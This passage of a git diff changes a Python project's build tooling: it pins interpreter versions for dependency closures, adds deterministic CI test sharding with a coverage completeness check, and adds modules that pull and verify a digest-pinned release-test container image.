sort_keys=True) + "\n", - encoding="utf-8", - ) + output_path.write_text(_serialize_schema(name, schema), encoding="utf-8") + + +def _serialize_schema(name: str, schema: dict[str, object]) -> str: + """Keep large self-contained schemas readable one definition per line.""" + if name != "materialized-scenario-v1": + return json.dumps(schema, indent=2, sort_keys=True) + "\n" + + def compact(value: object) -> str: + return json.dumps(value, sort_keys=True, separators=(",", ":")) + + members = [] + for key, value in sorted(schema.items()): + if key == "$defs": + definitions = ",\n".join( + f" {json.dumps(label)}: {compact(body)}" for label, body in sorted(value.items()) + ) + members.append(f' "$defs": {{\n{definitions}\n }}') + else: + members.append(f" {json.dumps(key)}: {compact(value)}") + return "{\n" + ",\n".join(members) + "\n}\n" def main() -> None: diff --git a/tools/generate_python_closures.py b/tools/generate_python_closures.py index a61ff9a99..0efd12f39 100644 --- a/tools/generate_python_closures.py +++ b/tools/generate_python_closures.py @@ -16,12 +16,40 @@ from packaging.tags import Tag, compatible_tags, cpython_tags, mac_platforms from packaging.utils import InvalidWheelFilename, parse_wheel_filename -from tools.generate_python_closures_locks import lock_mappings, locked_closure, target_environment +from tools.generate_python_closures_locks import ( + lock_mappings, + locked_closure, + target_environment, +) REPO_ROOT = Path(__file__).resolve().parents[1] _SHA256_PREFIX = "sha256:" _BUILD_CONSTRAINT_PYTHON_VERSIONS = ("3.11", "3.12", "3.13", "3.14") _TOOL_ROOT_NAME = "raes-development-tools" +_ARTIFACT_LOCK = ("implementations", "tooling", "artifacts.lock.json") + + +def reviewed_python_full_version(python_version: str, *, repo_root: Path = REPO_ROOT) -> str: + """Resolve the exact interpreter patch version the artifact lock pins. + + Marker resolution is patch-sensitive, so the projection binds the reviewed + payload version rather than synthesizing one from the minor series. + """ + + lock = json.loads(repo_root.joinpath(*_ARTIFACT_LOCK).read_text(encoding="utf-8")) + artifacts = [ + artifact + for artifact in lock.get("artifacts", []) + if isinstance(artifact, Mapping) and artifact.get("artifact_id") == f"cpython-{python_version}" + ] + if len(artifacts) != 1: + raise ValueError(f"artifact lock must pin exactly one cpython-{python_version} interpreter") + version = artifacts[0].get("version") + if not isinstance(version, str) or not version.startswith(f"{python_version}."): + raise ValueError(f"cpython-{python_version} is pinned to an invalid version {version!r}") + return version + + TARGETS = ( ( "public-linux-x86_64-cp311-all-extras", @@ -55,11 +83,6 @@ ), ("public-macos-arm64-cp314-all-extras", "3.14", "cp314", "aarch64-apple-darwin"), ) -TOOL_TARGETS = ( - ("public-linux-x86_64-cp314-tools", "3.14", "cp314", "x86_64-unknown-linux-gnu"), - ("public-linux-arm64-cp314-tools", "3.14", "cp314", "aarch64-unknown-linux-gnu"), - ("public-macos-arm64-cp314-tools", "3.14", "cp314", "aarch64-apple-darwin"), -) def _build_group_dependencies(lock: Mapping[str, Any]) -> list[Mapping[str, Any]]: @@ -81,7 +104,11 @@ def _build_group_dependencies(lock: Mapping[str, Any]) -> list[Mapping[str, Any] return dependencies -def _build_constraint_packages(lock: Mapping[str, Any]) -> dict[str, Mapping[str, Any]]: +def _build_constraint_packages( + lock: Mapping[str, Any], + *, + repo_root: Path = REPO_ROOT, +) -> dict[str, Mapping[str, Any]]: """Select one exact version per build dependency across every supported runtime.""" dependencies = _build_group_dependencies(lock) @@ -89,7 +116,11 @@ def _build_constraint_packages(lock: Mapping[str, Any]) -> dict[str, Mapping[str for python_version in _BUILD_CONSTRAINT_PYTHON_VERSIONS: for package in locked_closure( lock, - target_environment(python_version, "x86_64-unknown-linux-gnu"), + target_environment( + python_version, + "x86_64-unknown-linux-gnu", + full_version=reviewed_python_full_version(python_version, repo_root=repo_root), + ), root_name=_TOOL_ROOT_NAME, include_root_optional=False, initial_dependencies=dependencies, @@ -115,10 +146,10 @@ def _sha256_artifact_hashes(package: Mapping[str, Any]) -> list[str]: ) -def render_build_constraints(lock: Mapping[str, Any]) -> str: +def render_build_constraints(lock: Mapping[str, Any], *, repo_root: Path = REPO_ROOT) -> str: """Render hash-complete build constraints for the reviewed build group.""" - selected = _build_constraint_packages(lock) + selected = _build_constraint_packages(lock, repo_root=repo_root) lines: list[str] = [] for name in sorted(selected): package = selected[name] @@ -223,7 +254,11 @@ class _LockDefinition: def render_target(request: _TargetRequest) -> tuple[str, str]: """Render the pinned requirements and wheelhouse manifest for one target.""" - environment = target_environment(request.python_version, request.platform) + environment = target_environment( + request.python_version, + request.platform, + full_version=reviewed_python_full_version(request.python_version, repo_root=request.repo_root), + ) supported = _supported_tags(request.python_version, request.abi, request.platform) artifacts = [ _artifact(package, _select_wheel(package, supported)) @@ -309,7 +344,10 @@ def generate(*, check: bool, repo_root: Path = REPO_ROOT) -> bool: tool_root = repo_root / "implementations" / "tooling" / "python" tool_lock_path = tool_root / "uv.lock" output_root = tool_root / "smoke" - constraints = render_build_constraints(tomllib.loads(tool_lock_path.read_text(encoding="utf-8"))) + constraints = render_build_constraints( + tomllib.loads(tool_lock_path.read_text(encoding="utf-8")), + repo_root=repo_root, + ) changed = _write_if_changed(tool_root / "build-constraints.txt", constraints, check=check) definitions = ( _LockDefinition( @@ -318,13 +356,6 @@ def generate(*, check: bool, repo_root: Path = REPO_ROOT) -> bool: include_root_optional=True, targets=TARGETS, ), - _LockDefinition( - lock_path=tool_lock_path, - root_name=_TOOL_ROOT_NAME, - include_root_optional=False, - targets=TOOL_TARGETS, - root_groups=("build",), - ), ) for definition in definitions: changed = _definition_changes(definition, output_root=output_root, repo_root=repo_root, check=check) or changed diff --git a/tools/generate_python_closures_locks.py b/tools/generate_python_closures_locks.py index ba464862c..259125814 100644 --- a/tools/generate_python_closures_locks.py +++ b/tools/generate_python_closures_locks.py @@ -7,24 +7,62 @@ from collections.abc import Mapping, Sequence from typing import Any -from packaging.markers import Marker, default_environment - - -def target_environment(python_version: str, platform: str) -> dict[str, str]: - environment = default_environment() - major, minor = python_version.split(".") - machine = "aarch64" if platform.startswith("aarch64") else "x86_64" - environment.update( - { - "implementation_name": "cpython", - "platform_machine": machine, - "platform_python_implementation": "CPython", - "python_full_version": f"{major}.{minor}.0", - "python_version": python_version, - "sys_platform": "darwin" if platform.endswith("apple-darwin") else "linux", - } - ) - return environment +from packaging.markers import Marker + +# Reviewed target platforms and the operating-system marker fields each implies. +# `platform_machine` matches the wheel-tag architecture `_platform_tags` selects, +# so marker resolution and wheel selection cannot disagree about one target. +_TARGET_PLATFORMS: Mapping[str, Mapping[str, str]] = { + "x86_64-unknown-linux-gnu": { + "os_name": "posix", + "platform_machine": "x86_64", + "platform_system": "Linux", + "sys_platform": "linux", + }, + "aarch64-unknown-linux-gnu": { + "os_name": "posix", + "platform_machine": "aarch64", + "platform_system": "Linux", + "sys_platform": "linux", + }, + "aarch64-apple-darwin": { + "os_name": "posix", + "platform_machine": "arm64", + "platform_system": "Darwin", + "sys_platform": "darwin", + }, +} + + +def target_environment(python_version: str, platform: str, *, full_version: str) -> dict[str, str]: + """Bind the complete PEP 508 marker environment of one reviewed target. + + Every field is derived from the reviewed target rather than from the host + running the generator, so a projection resolves identically wherever it is + produced. `platform_release` and `platform_version` describe a running + kernel, which a target has no reviewed value for; they are bound to the + empty string rather than leaking the generator host's kernel into a + cross-target projection. + """ + + target = _TARGET_PLATFORMS.get(platform) + if target is None: + raise ValueError(f"unsupported reviewed target platform {platform!r}") + if not full_version.startswith(f"{python_version}."): + raise ValueError(f"full version {full_version!r} is not in the {python_version!r} series") + return { + "implementation_name": "cpython", + "implementation_version": full_version, + "os_name": target["os_name"], + "platform_machine": target["platform_machine"], + "platform_python_implementation": "CPython", + "platform_release": "", + "platform_system": target["platform_system"], + "platform_version": "", + "python_full_version": full_version, + "python_version": python_version, + "sys_platform": target["sys_platform"], + } def _matches(marker: object, environment: Mapping[str, str]) -> bool: diff --git a/tools/gitleaks_tool.py b/tools/gitleaks_tool.py index 178300c41..9060ff090 100644 --- a/tools/gitleaks_tool.py +++ b/tools/gitleaks_tool.py @@ -19,7 +19,6 @@ def ensure_gitleaks( version: str = GITLEAKS_VERSION, local_input: Path | None = None, installation_root: Path | None = None, - immutable_seed_root: Path | None = None, ) -> Path: from tools.tooling_policy_gate import ( host_platform_id, @@ -48,5 +47,4 @@ def ensure_gitleaks( materialize=installation.materialize_tar_gz, legacy_path=gitleaks_binary_path(repo_root, version=version), installation_root=installation_root, - immutable_seed_root=immutable_seed_root, ) diff --git a/tools/nox_support/config.py b/tools/nox_support/config.py index 7cf600453..84418b40e 100644 --- a/tools/nox_support/config.py +++ b/tools/nox_support/config.py @@ -67,15 +67,29 @@ VERIFY_PROJECT_SYNCED_ENV = "RAES_VERIFY_PROJECT_SYNCED" VERIFY_COVERAGE_FILE_ENV = "RAES_VERIFY_COVERAGE_FILE" JSON_SCHEMA_WORKERS_ENV = "RAES_JSON_SCHEMA_WORKERS" + +# Deterministic CI test sharding (#935). The default-marker suite is partitioned +# across concurrent shard jobs; the reducer proves completeness before combining +# coverage. These are the shard producer/reducer seams shared by the workflow. +SHARD_COUNT_ENV = "RAES_SHARD_COUNT" +SHARD_INDEX_ENV = "RAES_SHARD_INDEX" +SHARD_MANIFEST_ENV = "RAES_SHARD_MANIFEST" +SHARD_SOURCE_SHA_ENV = "RAES_SHARD_SOURCE_SHA" +COVERAGE_REDUCE_DIR_ENV = "RAES_COVERAGE_REDUCE_DIR" +# The pytest plugin lives under the repo-root ``tools`` package; the shard +# session exports the repo root so ``-p tools.pytest_shard_plugin`` imports +# before the ini ``pythonpath`` is applied. +SHARD_PLUGIN = "tools.pytest_shard_plugin" +# The incumbent default-marker selection recorded in every shard manifest. +DEFAULT_SUITE_EXPRESSION = "not fuzz and not integration and not docker" EXPECTED_PYTHON_ENV = "RAES_EXPECTED_PYTHON" EXPECT_FREE_THREADED_ENV = "RAES_EXPECT_FREE_THREADED" PYTHON_COMPATIBILITY_SMOKE_ONLY_ENV = "RAES_PYTHON_COMPATIBILITY_SMOKE_ONLY" PYTHON_CLOSURE_PROFILE_ENV = "RAES_PYTHON_CLOSURE_PROFILE" PYTHON_CLOSURE_WHEELHOUSE_ENV = "RAES_PYTHON_CLOSURE_WHEELHOUSE" -# Local qualification harnesses emit bounded slice evidence that -# `bootstrap_profile qualification-evidence --slice-evidence` binds into the -# canonical qualification record; they never record a canonical passed case. +# Local harnesses emit bounded results for the installer mechanisms actually +# exercised. CI retains those results directly, without aggregate qualification. INSTALLATION_QUALIFICATION_HARNESSES = { "local-installation-qualification": ( "implementations/python/tests/issue_1219_installation_harness.py", diff --git a/tools/nox_support/graph.py b/tools/nox_support/graph.py index d1b93e5be..f86855ce0 100644 --- a/tools/nox_support/graph.py +++ b/tools/nox_support/graph.py @@ -17,28 +17,25 @@ VERIFY_PROJECT_SYNCED_ENV, ) from tools.nox_support.policy_lanes import ( - _run_contracts, + _run_changed_lint, _run_hygiene, - _run_lint, _run_policy, ) from tools.nox_support.runner import ( SessionReporter, _requirement_aware_policy_args, + _run_pytest, _sync_project, ) from tools.nox_support.test_lanes import ( _finalize_parallel_coverage, - _run_docs, - _run_fuzz, - _run_tests, ) from tools.parallel_verification import VerificationLane, run_verification_lanes from tools.policy.conftest_tool import ensure_conftest from tools.verification_plan import ( collect_git_changes, - plan_for_changes, resolve_upstream, + select_changed_python_tests, ) @@ -198,40 +195,57 @@ def _run_parallel_verification( ) -def _run_changed_verification( +def _run_fast_feedback( session: nox.Session, reporter: SessionReporter, posargs: list[str], ) -> None: + """Advisory early-feedback lane (#935): static/lint/policy for the diff plus + directly changed pytest modules. + + This lane is never the merge gate. When no test module is directly changed it + records an explicit "no authoritative targeted selection" outcome and defers + to the full-suite shards rather than claiming the selected subset is + sufficient. + """ + try: - base_rev = _changed_base_rev(posargs) + base_rev: str | None = _changed_base_rev(posargs) changes = collect_git_changes(REPO_ROOT, base_rev) - plan = plan_for_changes(changes) - session.log(f"change-aware verification against {base_rev}: {plan.reason}; {len(changes)} change records") except (RuntimeError, ValueError) as exc: base_rev = None - plan = plan_for_changes([]) - session.log(f"change classification failed closed to the full local gate: {exc}") + changes = [] + session.log(f"fast-feedback change classification unavailable: {exc}") + # Linters and pytest consume current files, not deleted or rename-source paths. + changed_paths = [change.path for change in changes if change.status != "D"] base_policy_args = ["--base-rev", base_rev] if base_rev is not None else [] policy_args = _requirement_aware_policy_args(*base_policy_args) - _run_hygiene(session, reporter, posargs=["--all-files"], default_all_files=True) - _run_policy(session, reporter, *policy_args) - _run_lint(session, reporter) - if plan.contracts: - _run_contracts(session, reporter, *policy_args) - else: - reporter.skip("contracts / governed artifact graph", plan.reason) - if plan.regression: - with tempfile.TemporaryDirectory(prefix="raes-coverage-") as coverage_dir: - _run_tests(session, reporter, Path(coverage_dir) / ".coverage") + if base_rev is not None: + _run_hygiene(session, reporter, posargs=["--base-rev", base_rev], default_all_files=False) else: - reporter.skip("tests / pytest", plan.reason) - if plan.fuzz: - _run_fuzz(session, reporter) - else: - reporter.skip("tests / pytest fuzz", plan.reason) - if plan.docs: - _run_docs(session, reporter) + _run_hygiene(session, reporter, posargs=["--all-files"], default_all_files=True) + _run_policy(session, reporter, *policy_args) + _run_changed_lint(session, reporter, changed_paths) + + changed_tests = select_changed_python_tests(changed_paths) + if changed_tests: + reporter.run( + "fast-feedback / directly changed pytest modules", + lambda: _run_pytest(session, *changed_tests, "-q"), + detail=" ".join(changed_tests), + ) else: - reporter.skip("docs / sphinx-build", plan.reason) + reporter.skip( + "fast-feedback / directly changed pytest modules", + "no authoritative targeted selection; the full-suite shards remain the merge gate", + ) + + +def _run_changed_verification( + session: nox.Session, + reporter: SessionReporter, + posargs: list[str], +) -> None: + """Compatibility entry point for targeted local feedback; full suites belong to CI/CD.""" + _run_fast_feedback(session, reporter, posargs) diff --git a/tools/nox_support/policy_lanes.py b/tools/nox_support/policy_lanes.py index ef8741b83..19be0307b 100644 --- a/tools/nox_support/policy_lanes.py +++ b/tools/nox_support/policy_lanes.py @@ -38,6 +38,7 @@ ("policy / behavioral relation claims", "tools/check_behavioral_relation_claims.py"), ("policy / agent guidance profile", "tools/check_agent_guidance.py"), ("policy / example library catalog", "tools/check_example_library.py"), + ("policy / published schema coverage", "tools/check_schema_coverage.py"), ("policy / project positioning", "tools/check_project_positioning.py"), ("policy / identity cutover", "tools/check_identity_cutover.py"), ) @@ -121,6 +122,9 @@ def _run_hygiene( def _run_policy(session: nox.Session, reporter: SessionReporter, *args: str) -> None: + from tools.nox_support.runner import _requirement_aware_policy_args + + args = tuple(_requirement_aware_policy_args(*args)) _sync_project(session) reporter.run( "policy / development artifact lock", diff --git a/tools/nox_support/runner.py b/tools/nox_support/runner.py index f864257e1..b7dc6e690 100644 --- a/tools/nox_support/runner.py +++ b/tools/nox_support/runner.py @@ -22,11 +22,12 @@ MINIMUM_LINE_COVERAGE_PERCENT, PROJECT_ROOT, REPO_ROOT, - REQUIREMENT_UID_RE, RUFF_CONFIG, VERIFY_PROJECT_SYNCED_ENV, ) +from tools.policy.requirement_scope import RequirementScopeError from tools.python_closure_profiles import frozen_tool_command +from tools.requirement_context import current_requirement_branch, resolve_requirement_context @dataclass(frozen=True) @@ -175,6 +176,7 @@ def _run_pytest( append_coverage: bool = False, finalize_coverage: bool = False, parallel: bool = False, + extra_env: dict[str, str] | None = None, ) -> None: _sync_project(session) normalized_args = [ @@ -184,9 +186,9 @@ def _run_pytest( command = ["uv", "run", "--frozen", "python", "-m", "pytest"] if parallel: command.extend(["-n", "auto", "--maxprocesses=8", "--dist=worksteal"]) - coverage_env: dict[str, str] | None = None + coverage_env: dict[str, str] | None = dict(extra_env) if extra_env else None if coverage_file is not None: - coverage_env = {"COVERAGE_FILE": str(coverage_file)} + coverage_env = {**(coverage_env or {}), "COVERAGE_FILE": str(coverage_file)} command.extend(["--cov", "--cov-config=pyproject.toml", "--cov-report="]) if append_coverage: command.append("--cov-append") @@ -232,10 +234,15 @@ def _split_policy_session_args(posargs: list[str]) -> tuple[list[str], list[str] def _requirement_aware_policy_args(*args: str) -> list[str]: - if os.environ.get("RAES_REQUIREMENT_UID", "").strip(): - return list(args) - branch = next(iter(_git_lines("branch", "--show-current")), "") - if REQUIREMENT_UID_RE.search(branch): + branch = current_requirement_branch(REPO_ROOT) + explicit = next( + (_required_option_value(args, index, arg) for index, arg in enumerate(args) if arg == "--requirement-uid"), + None, + ) + uid, scope = resolve_requirement_context(REPO_ROOT, branch, explicit) + if scope is not None and "--skip-requirement" in args: + raise RequirementScopeError("An issue-bound requirement scope cannot skip governance.") + if uid or "--skip-requirement" in args: return list(args) return [*args, "--skip-requirement"] diff --git a/tools/nox_support/test_lanes.py b/tools/nox_support/test_lanes.py index b093c530c..44c927461 100644 --- a/tools/nox_support/test_lanes.py +++ b/tools/nox_support/test_lanes.py @@ -11,6 +11,7 @@ import nox from tools.nox_support.config import ( + DEFAULT_SUITE_EXPRESSION, DOCS_BUILD_ROOT, INSTALLATION_QUALIFICATION_HARNESSES, OSV_LOCKFILE_PATH, @@ -20,6 +21,7 @@ PUBLIC_DOCS_EXAMPLE_TESTS, PUBLIC_DOCS_ROOT, REPO_ROOT, + SHARD_PLUGIN, ) from tools.nox_support.runner import ( SessionReporter, @@ -35,6 +37,7 @@ ensure_osv_scanner, run_osv_scanner, ) +from tools.pytest_shard import read_manifest, verify_shard_partition from tools.vale_tool import ensure_vale @@ -91,6 +94,121 @@ def _run_integration_tests( ) +def _run_shard_tests( + session: nox.Session, + reporter: SessionReporter, + coverage_file: Path, + *, + shard_count: int, + shard_index: int, + manifest_path: Path, + source_sha: str, +) -> None: + """Run one deterministic shard of the default-marker suite, emitting a manifest. + + The partition plugin lives in the repo-root ``tools`` package; export the repo + root so ``-p`` resolves before the ini ``pythonpath`` is applied. xdist still + parallelizes within the shard but never partitions across jobs. + """ + + args = [ + "-q", + "-p", + SHARD_PLUGIN, + "--shard-count", + str(shard_count), + "--shard-index", + str(shard_index), + "--shard-manifest", + str(manifest_path), + "--shard-source-sha", + source_sha, + "--shard-suite-expression", + DEFAULT_SUITE_EXPRESSION, + ] + reporter.run( + f"tests / shard {shard_index} of {shard_count}", + lambda: _run_pytest( + session, + *args, + coverage_file=coverage_file, + finalize_coverage=False, + parallel=True, + extra_env={"PYTHONPATH": str(REPO_ROOT)}, + ), + detail="deterministic sha256 node-id partition :: xdist within shard", + ) + + +def _collect_canonical_nodeids(session: nox.Session) -> list[str]: + """Freshly collect the canonical default-marker suite node ids.""" + + with session.chdir(PROJECT_ROOT): + output = session.run( + "uv", + "run", + "--frozen", + "python", + "-m", + "pytest", + "--collect-only", + "-q", + "--no-header", + external=True, + silent=True, + ) + nodeids = [line.strip() for line in (output or "").splitlines() if "::" in line] + if not nodeids: + raise RuntimeError("canonical collection returned no node ids") + return nodeids + + +def _run_coverage_reduce( + session: nox.Session, + reporter: SessionReporter, + reduce_dir: Path, + *, + shard_count: int, + source_sha: str, +) -> None: + """Prove shard completeness, then combine shard + integration coverage once. + + ``reduce_dir`` holds every producer's ``.coverage.*`` data file and the + ``shard-*.json`` manifests. The completeness proof runs before any combine so + a missing, failed, or stale shard fails closed instead of yielding a partial + report. + """ + + _sync_project(session) + manifests = [read_manifest(path) for path in sorted(reduce_dir.glob("shard-*.json"))] + if not manifests: + raise RuntimeError(f"no shard manifests found under {reduce_dir}") + canonical = _collect_canonical_nodeids(session) + reporter.run( + "coverage / shard completeness proof", + lambda: verify_shard_partition( + manifests, + canonical, + shard_count=shard_count, + source_sha=source_sha or None, + ), + detail=f"{len(manifests)} shards :: {len(canonical)} canonical node ids", + ) + + coverage_env = {"COVERAGE_FILE": str(reduce_dir / ".coverage")} + + def _combine_and_report() -> None: + with session.chdir(PROJECT_ROOT): + _run(session, "uv", "run", "--frozen", "coverage", "combine", "--keep", str(reduce_dir), env=coverage_env) + _write_and_check_coverage(session, coverage_env) + + reporter.run( + "coverage / combined shard and integration report", + _combine_and_report, + detail="coverage combine :: xml + json :: 90% line floor", + ) + + def _finalize_parallel_coverage(session: nox.Session, coverage_dir: Path) -> None: coverage_file = coverage_dir / ".coverage" coverage_env = {"COVERAGE_FILE": str(coverage_file)} diff --git a/tools/oci_release_image.py b/tools/oci_release_image.py new file mode 100644 index 000000000..fa73f0dd3 --- /dev/null +++ b/tools/oci_release_image.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python3 +"""Pull and verify the locked release-test image using the native runtime.""" + +from __future__ import annotations + +import json +import re +import subprocess +import sys +from collections.abc import Callable, Mapping +from pathlib import Path +from typing import TypeVar + +# The release lane runs this file as a script, so `sys.path[0]` is `tools/` +# rather than the repository root and the package imports below would not +# resolve. Every other tool entry point in this repository does the same. +REPO_ROOT = Path(__file__).resolve().parents[1] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from tools.oci_release_selection import ( # noqa: E402 + EXECUTION_PLATFORM_ID, + EXECUTION_PROFILE_ID, + RELEASE_TEST_IMAGE_ARTIFACT_ID, + RELEASE_TEST_IMAGE_VERSION, + REQUIRED_PLATFORM_IDS, + ImageAdmissionError, + LockedPlatformGraph, # noqa: E402 + execution_graph, + locked_platform_graphs, + locked_repository, +) + +SOURCE_CLASS_ENV = "RAES_OCI_SOURCE_CLASS" +MIRROR_REPOSITORY_ENV = "RAES_OCI_MIRROR_REPOSITORY" + +_ALLOWED_RUNTIMES = frozenset({"docker", "podman"}) +# Ambient proxy, registry, credential-helper and image-override state must not +# reach a client this module starts. +_CLIENT_ENV = {"LC_ALL": "C", "LANG": "C", "PATH": "/usr/bin:/bin"} +PULL_TIMEOUT_SECONDS = 600 +INSPECT_TIMEOUT_SECONDS = 60 + +_DIGEST_RE = re.compile(r"^sha256:[0-9a-f]{64}$") +# A bare repository reference: optional host[:port], then lowercase path +# components. No scheme, userinfo, query, tag or digest may appear, so a mirror +# setting can never smuggle a credential or re-pin the image. +_DOMAIN = ( + r"(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?)(?:\.(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?))*(?::[0-9]{1,5})?" +) +_PATH_COMPONENT = r"[a-z0-9]+(?:(?:[._]|__|[-]+)[a-z0-9]+)*" +_REPOSITORY_RE = re.compile(rf"^(?:{_DOMAIN}/)?{_PATH_COMPONENT}(?:/{_PATH_COMPONENT})*$") + +_INSPECT_FORMAT = "{{.Architecture}}\n{{.Os}}\n{{json .RootFS.Layers}}" + +Runner = Callable[..., subprocess.CompletedProcess] + + +def _default_runner(argv: list[str], **kwargs) -> subprocess.CompletedProcess: + return subprocess.run(argv, **kwargs) + + +def _run(argv: list[str], *, timeout: int, runner: Runner) -> str: + """Run one fixed argv under a bounded wall clock and a minimal environment.""" + + try: + completed = runner( + argv, + stdin=subprocess.DEVNULL, + capture_output=True, + text=True, + timeout=timeout, + check=False, + env=dict(_CLIENT_ENV), + ) + except subprocess.TimeoutExpired as exc: + raise ImageAdmissionError("client-timeout") from exc + except OSError as exc: + raise ImageAdmissionError("client-unavailable") from exc + if completed.returncode != 0: + raise ImageAdmissionError("acquisition-failed") + return completed.stdout if isinstance(completed.stdout, str) else "" + + +def _require_runtime(runtime: str) -> str: + if runtime not in _ALLOWED_RUNTIMES: + raise ImageAdmissionError("runtime-not-allowed") + return runtime + + +_T = TypeVar("_T") + + +def attempt(operation: Callable[[], _T]) -> tuple[_T | None, str | None]: + """Run one admission step, returning its stable reason code on refusal. + + Admission refusals are classified by the caller -- an availability failure + may skip an optional run while an integrity failure never may -- so the + reason code has to reach that decision as a value. Catching the module's own + exception here keeps that handling in the module that defines it. + """ + + try: + return operation(), None + except ImageAdmissionError as exc: + return None, exc.reason + + +def resolve_source(environ: Mapping[str, str]) -> None: + """Refuse retired disconnected settings instead of silently going online.""" + if environ.get(SOURCE_CLASS_ENV, "public") != "public" or environ.get(MIRROR_REPOSITORY_ENV): + raise ImageAdmissionError("source-class") + + +def image_reference(locked_repository: str, index_digest: str) -> str: + """Return the digest-pinned reference from the selected lock.""" + if _DIGEST_RE.fullmatch(index_digest) is None or _REPOSITORY_RE.fullmatch(locked_repository) is None: + raise ImageAdmissionError("image-identity") + return f"{locked_repository}@{index_digest}" + + +def acquire_image( + reference: str, + *, + runtime: str, + runner: Runner = _default_runner, +) -> None: + """Pull the locked image once; native client failures remain terminal.""" + repository, separator, digest = reference.partition("@") + if not separator or image_reference(repository, digest) != reference: + raise ImageAdmissionError("image-identity") + _run( + [_require_runtime(runtime), "pull", reference], + timeout=PULL_TIMEOUT_SECONDS, + runner=runner, + ) + + +def verify_daemon_image( + reference: str, + graph: LockedPlatformGraph, + *, + runtime: str, + runner: Runner = _default_runner, +) -> None: + """Prove the runtime holds exactly the reviewed platform image. + + The uncompressed layer identities are used rather than the daemon's image + id, because the id means the config digest under one storage driver and the + pulled manifest digest under another, while the layer identities are + intrinsic to the content and therefore survive a registry pull, an offline + import and either driver. + """ + + stdout = _run( + [ + _require_runtime(runtime), + "image", + "inspect", + "--format", + _INSPECT_FORMAT, + reference, + ], + timeout=INSPECT_TIMEOUT_SECONDS, + runner=runner, + ) + fields = stdout.strip().splitlines() + if len(fields) != 3: + raise ImageAdmissionError("image-identity") + architecture, operating_system, raw_layers = fields + try: + layers = json.loads(raw_layers) + except ValueError as exc: + raise ImageAdmissionError("image-identity") from exc + observed = ( + architecture, + operating_system, + tuple(layers) if isinstance(layers, list) else (), + ) + if observed != (graph.architecture, graph.os, graph.diff_ids): + raise ImageAdmissionError("image-identity") + + +__all__ = ( + "EXECUTION_PLATFORM_ID", + "EXECUTION_PROFILE_ID", + "RELEASE_TEST_IMAGE_ARTIFACT_ID", + "RELEASE_TEST_IMAGE_VERSION", + "REQUIRED_PLATFORM_IDS", + "ImageAdmissionError", + "SOURCE_CLASS_ENV", + "MIRROR_REPOSITORY_ENV", + "attempt", + "resolve_source", + "image_reference", + "acquire_image", + "verify_daemon_image", + "execution_graph", + "locked_platform_graphs", + "locked_repository", +) diff --git a/tools/oci_release_selection.py b/tools/oci_release_selection.py new file mode 100644 index 000000000..97aabc6a6 --- /dev/null +++ b/tools/oci_release_selection.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""Projection of the reviewed release-test image from the development lock. + +The image identity is reviewed lock data, never a literal in a consumer. This +module resolves that data into the per-platform object graph the admission +boundary verifies, and is the recorded consumer of the locked artifact because +the literal selection call lives here. +""" + +from __future__ import annotations + +import re +import sys +from collections.abc import Callable, Sequence +from dataclasses import dataclass +from pathlib import Path + +# Runnable as a script's import root, like every other tool entry point here. +REPO_ROOT = Path(__file__).resolve().parents[1] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from tools.tooling_oci_selection import LockedOciDescriptor as OciDescriptor # noqa: E402 +from tools.tooling_oci_selection import LockedOciGraph # noqa: E402 +from tools.tooling_policy_gate import LockedArtifactSelection # noqa: E402 + +# The reviewed lock selection this module admits. +RELEASE_TEST_IMAGE_ARTIFACT_ID = "release-test-alpine" +RELEASE_TEST_IMAGE_VERSION = "3.20.10" +# Only the platform exercised by the required release lane is an execution input. +REQUIRED_PLATFORM_IDS = ("linux-x86_64",) +EXECUTION_PLATFORM_ID = "linux-x86_64" +EXECUTION_PROFILE_ID = "public-linux-x86_64" + +_REPOSITORY_RE = re.compile( + r"^(?:(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?)(?:\.(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?))*" + r"(?::[0-9]{1,5})?/)?[a-z0-9]+(?:(?:[._]|__|[-]+)[a-z0-9]+)*" + r"(?:/[a-z0-9]+(?:(?:[._]|__|[-]+)[a-z0-9]+)*)*$" +) + + +class ImageAdmissionError(Exception): + """The reviewed release-test image could not be admitted. + + Carries a stable reason code only. A mirror endpoint, credential, image + reference or native client output never reaches the message. Defined here, + at the projection layer, so every refusal the client boundary above can + raise is one type. + """ + + def __init__(self, reason: str) -> None: + super().__init__(f"release-test image admission failed: {reason}") + self.reason = reason + + +SelectionLoader = Callable[..., "object"] + +_PLATFORM_PROFILES = {"linux-x86_64": "public-linux-x86_64"} + + +def _default_selection_loader(*, version: str, platform_id: str, profile_id: str) -> LockedArtifactSelection: + """Load the reviewed image through selected-input validation.""" + + from tools.tooling_policy_gate import load_tooling_artifact_selection + + return load_tooling_artifact_selection( + artifact_id="release-test-alpine", + version=version, + platform_id=platform_id, + profile_id=profile_id, + ) + + +@dataclass(frozen=True, kw_only=True) +class LockedPlatformGraph(LockedOciGraph): + """A validated image graph with its execution platform.""" + + platform_id: str + + +def locked_repository(*, loader: SelectionLoader = _default_selection_loader) -> str: + """Return the reviewed image repository, without its registry-neutral scheme.""" + + selection = _select(EXECUTION_PLATFORM_ID, loader) + return _asset(selection) + + +def _asset(selection: LockedArtifactSelection) -> str: + """Return the reviewed OCI repository the locked index digest lives in.""" + + asset = getattr(selection, "asset", "") + if not isinstance(asset, str) or _REPOSITORY_RE.fullmatch(asset) is None: + raise ImageAdmissionError("image-identity") + return asset + + +def _select(platform_id: str, loader: SelectionLoader) -> LockedArtifactSelection: + return loader( + version=RELEASE_TEST_IMAGE_VERSION, + platform_id=platform_id, + profile_id=_PLATFORM_PROFILES[platform_id], + ) + + +def locked_platform_graphs(*, loader: SelectionLoader = _default_selection_loader) -> tuple[LockedPlatformGraph, ...]: + """Project the reviewed graph of the required execution platform. + + A selection without a graph is refused rather than degraded to an index-only + check, and every platform must sit under one reviewed index -- two indexes + would mean two images wearing one artifact id. + """ + + graphs: list[LockedPlatformGraph] = [] + for platform_id in REQUIRED_PLATFORM_IDS: + selection = _select(platform_id, loader) + graph = getattr(selection, "oci_graph", None) + if graph is None: + raise ImageAdmissionError("graph-unavailable") + graphs.append( + 